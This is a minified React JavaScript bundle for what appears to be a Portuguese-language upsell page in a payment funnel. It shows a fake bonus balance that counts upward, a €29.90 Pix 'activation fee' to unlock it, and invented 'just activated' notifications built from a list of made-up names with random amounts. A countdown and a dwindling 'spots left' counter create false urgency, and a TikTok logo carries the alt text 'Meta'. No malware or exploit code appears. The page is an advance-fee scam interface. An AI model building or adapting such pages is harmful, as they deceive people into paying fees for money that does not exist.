import{s as j,o as L,r as a,v as I,j as e}from"./index-jPJOmtKw.js";import{t as A}from"./tiktok-logo-full-DIcxqYI2.js";import{u as M,L as T}from"./use-pix-payment-DR6HpRO6.js";import{P as B}from"./PixPaymentPopup-C8F4Odni.js";import{Z as P}from"./zap-00Hh9blk.js";import{C as $,S as z}from"./shield-check-DPsNRQBq.js";import{C as D}from"./credit-card-DVuEp50a.js";import{L as E}from"./lock-ByWHaSnf.js";/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const F=j("Coins",[["circle",{cx:"8",cy:"8",r:"6",key:"3yglwk"}],["path",{d:"M18.09 10.37A6 6 0 1 1 10.34 18",key:"t5s6rm"}],["path",{d:"M7 6h1v4",key:"1obek4"}],["path",{d:"m16.71 13.88.7.71-2.82 2.82",key:"1rbuyh"}]]);/**
 * @license lucide-react v0.462.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const U=j("TrendingUp",[["polyline",{points:"22 7 13.5 15.5 8.5 10.5 2 17",key:"126l90"}],["polyline",{points:"16 7 22 7 22 13",key:"kwv8wd"}]]),h=["Maria S.","João P.","Ana L.","Carlos R.","Fernanda M.","Lucas O.","Julia C.","Rafael A.","Camila F.","Pedro H.","Amanda B.","Bruno G.","Larissa T.","Gustavo N.","Isabela D."],W=()=>{const r=L().state,n=(window.__FUNIL_AMOUNT_BASE_3||2848),o=(window.__FUNIL_AMOUNT_SALDO_3||4500),[c,d]=a.useState(n),[g,b]=a.useState(17),[l,N]=a.useState(600),i=a.useRef(null),{loading:x,pixData:m,copied:v,pixTimer:y,pixRef:k,handlePay:R,handleCopy:S}=M({amountInCents:Math.round((window.__FUNIL_FEE_3||29.90)*100),redirectTo:"/upsell-4",customerData:r==null?void 0:r.customerData,extraState:{customerData:r==null?void 0:r.customerData}});a.useEffect(()=>{const C=(o-n)/60;let p=n,u=0;const f=setInterval(()=>{u++,p+=C,u>=60?(d(o),clearInterval(f)):d(Math.floor(p))},2e3/60);return()=>clearInterval(f)},[]),a.useEffect(()=>{const s=setInterval(()=>{b(t=>t>3?t-1:t)},8e3);return()=>clearInterval(s)},[]),a.useEffect(()=>{if(l<=0)return;const s=setInterval(()=>N(t=>Math.max(0,t-1)),1e3);return()=>clearInterval(s)},[l]),a.useEffect(()=>(i.current=setInterval(()=>{const s=h[Math.floor(Math.random()*h.length)],t=(Math.floor(Math.random()*3e3)+1500).toLocaleString("pt-BR");I({title:`${s} acabou de ativar!`,description:`Bônus de € ${t},00 liberado`})},3e4),()=>{i.current&&clearInterval(i.current)}),[]);const w=s=>`${String(Math.floor(s/60)).padStart(2,"0")}:${String(s%60).padStart(2,"0")}`;return e.jsxs("div",{className:"min-h-screen bg-card flex flex-col max-w-[430px] mx-auto",children:[e.jsx("header",{className:"w-full bg-card border-b border-border flex justify-center items-center py-4 sticky top-0 z-50",children:e.jsx("img",{src:A,alt:"Meta",className:"h-[24px] w-auto"})}),e.jsxs("div",{className:"flex-1 p-5 space-y-4",children:[e.jsxs("div",{className:"bg-pink/10 border border-pink/20 rounded-2xl p-4 text-center",children:[e.jsxs("div",{className:"flex items-center justify-center gap-2 mb-1",children:[e.jsx(P,{size:18,className:"text-pink"}),e.jsx("span",{className:"text-pink font-bold text-sm uppercase tracking-wider",children:"Bônus exclusivo desbloqueado"})]}),e.jsx("p",{className:"text-xs text-muted-foreground",children:"Disponível apenas para os próximos minutos"})]}),e.jsxs("div",{className:"relative overflow-hidden rounded-2xl p-6 text-center",style:{background:"linear-gradient(135deg, rgba(255,45,85,0.15), rgba(255,149,0,0.1))",backdropFilter:"blur(20px)",border:"1px solid rgba(255,45,85,0.2)"},children:[e.jsx("p",{className:"text-muted-foreground text-sm mb-1",children:"Seu novo saldo"}),e.jsxs("p",{className:"text-4xl font-black text-foreground",children:["€ ",c.toLocaleString("pt-BR"),e.jsx("span",{className:"text-2xl",children:",00"})]}),e.jsxs("div",{className:"flex items-center justify-center gap-1 mt-2",children:[e.jsx(U,{size:14,className:"text-green-500"}),e.jsxs("span",{className:"text-green-500 text-sm font-semibold",children:["+€ ",(c-n).toLocaleString("pt-BR"),",00 de bônus"]})]})]}),e.jsxs("div",{className:"bg-muted/30 border border-border rounded-2xl p-4 space-y-3",children:[e.jsxs("div",{className:"flex items-center gap-2",children:[e.jsx(F,{size:18,className:"text-yellow-500"}),e.jsx("h3",{className:"text-sm font-bold text-foreground",children:"Retorno do investimento"})]}),e.jsxs("div",{className:"space-y-2",children:[e.jsxs("div",{className:"flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground",children:"Taxa de ativação"}),e.jsx("span",{className:"text-pink font-semibold",children:"€ "+(window.__FUNIL_FEE_3||29.90).toLocaleString("pt-BR",{minimumFractionDigits:2})})]}),e.jsxs("div",{className:"flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground",children:"Bônus recebido"}),e.jsxs("span",{className:"text-green-500 font-semibold",children:["€ ",(o-n).toLocaleString("pt-BR"),",00"]})]}),e.jsxs("div",{className:"border-t border-border pt-2 flex justify-between text-sm",children:[e.jsx("span",{className:"text-muted-foreground font-semibold",children:"Retorno"}),e.jsx("span",{className:"text-green-500 font-bold",children:Math.round((o-n)/(window.__FUNIL_FEE_3||29.90)*100).toLocaleString("pt-BR")+"%"})]})]})]}),e.jsx("div",{className:"bg-red-500/5 border border-red-500/20 rounded-xl p-3 flex items-center justify-center gap-2",children:e.jsxs("span",{className:"text-xs text-muted-foreground",children:["⚡ Apenas ",e.jsxs("span",{className:"text-red-500 font-bold",children:[g," vagas"]})," restantes para ativação"]})}),e.jsxs("div",{className:"flex items-center justify-center gap-2 py-1",children:[e.jsx($,{size:16,className:"text-pink"}),e.jsx("span",{className:"text-sm text-muted-foreground",children:"Expira em: "}),e.jsx("span",{className:"text-pink font-bold font-mono",children:w(l)})]}),e.jsx("button",{onClick:R,disabled:x,className:"w-full h-[52px] bg-pink text-white font-bold text-[15px] rounded-2xl flex items-center justify-center gap-2 active:scale-[0.98] transition-all disabled:opacity-70 shadow-lg shadow-pink/20",children:x?e.jsx(T,{size:20,className:"animate-spin"}):e.jsxs(e.Fragment,{children:[e.jsx(D,{size:18}),"ATIVAR BÔNUS · € "+(window.__FUNIL_FEE_3||29.90).toLocaleString("pt-BR",{minimumFractionDigits:2})]})}),e.jsxs("div",{className:"flex items-center justify-center gap-4 pt-2",children:[e.jsxs("div",{className:"flex items-center gap-1 text-muted-foreground",children:[e.jsx(E,{size:12}),e.jsx("span",{className:"text-[11px]",children:"Pagamento seguro"})]}),e.jsxs("div",{className:"flex items-center gap-1 text-muted-foreground",children:[e.jsx(z,{size:12}),e.jsx("span",{className:"text-[11px]",children:"Garantia total"})]})]})]}),m&&e.jsx(B,{ref:k,pixData:m,copied:v,pixTimer:y,onCopy:S})]})};export{W as default};
